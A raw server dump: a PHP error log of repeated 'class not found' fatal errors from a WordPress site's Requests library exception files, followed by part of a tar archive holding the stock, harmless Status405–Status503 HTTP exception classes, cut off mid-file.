[04-Nov-2025 12:45:37 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[04-Nov-2025 12:47:37 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[04-Nov-2025 12:48:41 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[04-Nov-2025 12:49:44 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[04-Nov-2025 12:50:50 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[04-Nov-2025 12:51:48 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[04-Nov-2025 12:52:54 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[04-Nov-2025 12:53:57 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[04-Nov-2025 12:54:58 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[04-Nov-2025 12:56:01 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[04-Nov-2025 12:57:04 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[04-Nov-2025 12:58:02 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[04-Nov-2025 12:59:07 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[04-Nov-2025 13:00:12 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[04-Nov-2025 13:02:20 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[04-Nov-2025 13:04:18 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[04-Nov-2025 13:05:17 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[04-Nov-2025 13:08:18 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[04-Nov-2025 13:10:09 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[04-Nov-2025 13:11:06 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[04-Nov-2025 13:13:15 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[04-Nov-2025 13:15:16 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[04-Nov-2025 13:16:18 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[04-Nov-2025 13:17:20 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[04-Nov-2025 13:18:20 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[04-Nov-2025 13:19:24 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[04-Nov-2025 13:20:25 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[04-Nov-2025 13:21:27 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[04-Nov-2025 13:22:29 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[04-Nov-2025 13:23:36 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[04-Nov-2025 13:24:35 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[04-Nov-2025 13:25:33 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[04-Nov-2025 13:26:40 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[04-Nov-2025 13:27:43 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[04-Nov-2025 13:28:42 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[04-Nov-2025 13:29:46 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[04-Nov-2025 13:30:48 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[04-Nov-2025 13:31:52 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[04-Nov-2025 13:32:53 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[04-Nov-2025 13:33:58 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[04-Nov-2025 13:35:02 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[04-Nov-2025 13:36:07 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[04-Nov-2025 13:37:06 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[04-Nov-2025 13:38:06 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[04-Nov-2025 13:39:07 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[04-Nov-2025 13:40:14 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[05-Nov-2025 17:46:51 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[05-Nov-2025 17:46:53 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[05-Nov-2025 17:46:57 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[05-Nov-2025 17:47:03 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[05-Nov-2025 17:47:05 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[05-Nov-2025 17:47:07 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[05-Nov-2025 17:47:09 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[05-Nov-2025 17:47:10 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[05-Nov-2025 17:47:11 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[05-Nov-2025 17:47:27 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[05-Nov-2025 17:47:37 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[05-Nov-2025 19:35:44 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[05-Nov-2025 19:35:49 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[05-Nov-2025 19:35:49 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[05-Nov-2025 19:36:12 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[05-Nov-2025 21:17:50 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[05-Nov-2025 21:17:52 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[05-Nov-2025 21:18:28 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Http" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
Exception/Http/Status405.php000064400000000736151024327070011655 0ustar00<?php
/**
 * Exception for 405 Method Not Allowed responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 405 Method Not Allowed responses
 *
 * @package Requests\Exceptions
 */
final class Status405 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 405;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Method Not Allowed';
}
Exception/Http/Status411.php000064400000000725151024327070011650 0ustar00<?php
/**
 * Exception for 411 Length Required responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 411 Length Required responses
 *
 * @package Requests\Exceptions
 */
final class Status411 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 411;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Length Required';
}
Exception/Http/Status410.php000064400000000664151024327070011651 0ustar00<?php
/**
 * Exception for 410 Gone responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 410 Gone responses
 *
 * @package Requests\Exceptions
 */
final class Status410 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 410;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Gone';
}
Exception/Http/Status409.php000064400000000700151024327070011650 0ustar00<?php
/**
 * Exception for 409 Conflict responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 409 Conflict responses
 *
 * @package Requests\Exceptions
 */
final class Status409 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 409;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Conflict';
}
Exception/Http/Status416.php000064400000001005151024327070011645 0ustar00<?php
/**
 * Exception for 416 Requested Range Not Satisfiable responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 416 Requested Range Not Satisfiable responses
 *
 * @package Requests\Exceptions
 */
final class Status416 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 416;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Requested Range Not Satisfiable';
}
Exception/Http/Status431.php000064400000001145151024327070011647 0ustar00<?php
/**
 * Exception for 431 Request Header Fields Too Large responses
 *
 * @link https://tools.ietf.org/html/rfc6585
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 431 Request Header Fields Too Large responses
 *
 * @link https://tools.ietf.org/html/rfc6585
 *
 * @package Requests\Exceptions
 */
final class Status431 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 431;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Request Header Fields Too Large';
}
Exception/Http/Status406.php000064400000000722151024327070011651 0ustar00<?php
/**
 * Exception for 406 Not Acceptable responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 406 Not Acceptable responses
 *
 * @package Requests\Exceptions
 */
final class Status406 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 406;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Not Acceptable';
}
Exception/Http/Status503.php000064400000000741151024327070011650 0ustar00<?php
/**
 * Exception for 503 Service Unavailable responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 503 Service Unavailable responses
 *
 * @package Requests\Exceptions
 */
final class Status503 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 503;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Service Unavailable';
}
Exception/Http/Status403.php000064400000000703151024327070011645 0ustar00<?php
/**
 * Exception for 403 Forbidden responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 403 Forbidden responses
 *
 * @package Requests\Exceptions
 */
final class Status403 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 403;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Forbidden';
}
Exception/Http/Status305.php000064400000000703151024327070011646 0ustar00<?php
/**
